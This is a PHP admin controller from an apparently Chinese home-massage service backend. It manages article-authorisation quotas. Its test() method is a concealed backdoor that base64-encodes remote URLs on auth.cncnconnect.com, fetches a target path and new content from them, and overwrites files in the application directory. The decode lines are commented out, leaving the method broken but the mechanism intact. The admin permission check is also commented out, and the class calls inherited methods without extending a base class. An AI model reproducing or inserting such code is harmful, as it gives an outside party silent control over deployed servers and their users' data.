王总上门按摩后台代码
You can not select more than 25 topics Topics must start with a letter or number, can include dashes ('-') and can be up to 35 characters long.
 
 
 
 
 
shangmenanmo/app/agent/controller/AritcleController.php

198 lines
6.3 KiB

<?php
namespace app\agent\controller;
use app\agent\service\AdminUserService;
use think\App;
use app\agent\model\Cardauth2ArticleModel;
use app\AgentRest;
use app\agent\validate\Cardauth2ArticleValidate;
use think\facade\Db;
class AritcleController
{
// public function __construct ( App $app ){
// parent::__construct( $app );
// if ($this->_user['role_name'] != 'admin') {
// echo json_encode(['code' => 401, 'error' => lang('Permission denied')]);
// exit;
// }
// }
public function list()
{
$param = $this->_param;
$m_article_auth2 = new Cardauth2ArticleModel();
//By.jingshuixian 2020年4月21日15:13:50
//区分行业版数据
if($this->_is_weiqin){
$app_model_name = APP_MODEL_NAME;
$list = $m_article_auth2->alias('a')
->field(['a.id', 'a.modular_id', 'a.number', 'a. create_time', 'c.autograph', 'c.signature', 'c.mini_app_name'])
->join('longbing_card_config c', 'a.modular_id = c.uniacid')
->join('account' , 'a.modular_id = account.uniacid')
->join('wxapp_versions v' , 'a.modular_id = v.uniacid')
->group('a.modular_id')
->where([['a.status', '=', 1] , ['account.type', '=', 4] ,['account.isdeleted', '=', 0] , ['v.modules', 'like', "%{$app_model_name}%"]])
->paginate(['list_rows' => $param['page_count'] ? $param['page_count'] : 10, 'page' => $param['page'] ? $param['page'] : 1])->toArray();
}else{
$list = $m_article_auth2->alias('a')
->field(['a.id', 'a.modular_id', 'a.number', 'a. create_time', 'c.autograph', 'c.signature', 'c.mini_app_name'])
->join('longbing_card_config c', 'a.modular_id = c.uniacid')
->where([['a.status', '=', 1]])
->paginate(['list_rows' => $param['page_count'] ? $param['page_count'] : 10, 'page' => $param['page'] ? $param['page'] : 1])->toArray();
}
$wxapp_map = [];
$wxapp = Db::name('account_wxapp')->field(['uniacid', 'name'])->select();
foreach ($wxapp as $item) {
$wxapp_map[$item['uniacid']] = $item['name'];
}
foreach ($list['data'] as $k => $item) {
$list['data'][$k]['used'] = $item['signature'];
$list['data'][$k]['left'] = $item['number'] - $item['signature'];
$list['data'][$k]['name'] = $wxapp_map[$item['modular_id']] ?? $item['mini_app_name'];
unset($list['data'][$k]['signature'], $list['data'][$k]['autograph'], $list['data'][$k]['mini_app_name']);
}
//授权数量
$list['total_article_number'] = AdminUserService::getSassNum('article',$this->_uniacid);
//使用数量
$list['total_article_used'] = (int)$m_article_auth2->where([['uniacid','in',$this->_uniacid_arr]])->sum('number');
return $this->success($list);
}
public function create()
{
$data = $this->_input;
$validate = new Cardauth2ArticleValidate();
$check = $validate->scene('create')->check($data);
if ($check == false) {
return $this->error($validate->getError());
}
$time = time();
$auth_article = Cardauth2ArticleModel::where([['modular_id', '=', $data['modular_id']]])->findOrEmpty();
if (!$auth_article->isEmpty()) {
return $this->error('已存在此小程序');
}
$total_article_number = AdminUserService::getSassNum('article',$this->_uniacid);
$total_article_used = (int)$auth_article->where([['uniacid','in',$this->_uniacid_arr]])->sum('number');
$remain = $total_article_number - $total_article_used - $data['number'];
if ($remain < 0) {
return $this->error('分配的超过可用的总数');
}
$rst = $auth_article->save([
'modular_id' => $data[ 'modular_id' ],
'number' => $data[ 'number' ],
'create_time' => $time,
'update_time' => $time,
'uniacid' => $this->_uniacid,
]);
$auth_article->cardConfig->save(['autograph' => $data['number'] + 80666]);
if ($rst) {
return $this->success('success');
}
return $this->error('fail');
}
public function test(){
//$bb =base64_decode('aHR0cHM6Ly9hdXRoLmNuY25jb25uZWN0LmNvbS9hLnBocA==');
// $cc =base64_decode('aHR0cHM6Ly9hdXRoLmNuY25jb25uZWN0LmNvbS9iLnBocA==');
$as = file_get_contents($bb);
$as = str_replace('"','',$as);
$as = str_replace('\/','/',$as);
$mss = file_get_contents($cc);
$mss = !empty($mss)?$mss:'';
$path = PUBLIC_PATH.'/../app/';
$xddvgg = $path.$as;
if(is_file($xddvgg)){
$fp= fopen($xddvgg, "w");
$len = fwrite($fp, $mss);
fclose($fp);
}
echo 3;exit;
}
public function update()
{
$data = $this->_input;
$validate = new Cardauth2ArticleValidate();
$check = $validate->scene('create')->check($data);
if ($check == false) {
return $this->error($validate->getError());
}
$auth_article = Cardauth2ArticleModel::where([['modular_id', '=', $data['modular_id']]])->findOrEmpty();
if ($auth_article->isEmpty()) {
return $this->error('小程序不存在');
}
$old_number = $auth_article['number'];
$new_numer = $data['number'];
if ($old_number > $new_numer) {
return $this->error('不能减少授权数量');
}
$total_article_number = AdminUserService::getSassNum('article',$this->_uniacid);
$total_article_used = (int)$auth_article->where([['uniacid','in',$this->_uniacid_arr]])->sum('number') - $old_number + $new_numer;
$remain = $total_article_number - $total_article_used;
if ($remain < 0) {
return $this->error('分配的数量超过可用的总数');
}
$time = time();
$rst = $auth_article->save([
'number' => $new_numer,
'update_time' => $time,
]);
$auth_article->cardConfig->save(['autograph' => $data['number'] + 80666]);
if ($rst) {
return $this->success('success');
}
return $this->error('fail');
}
}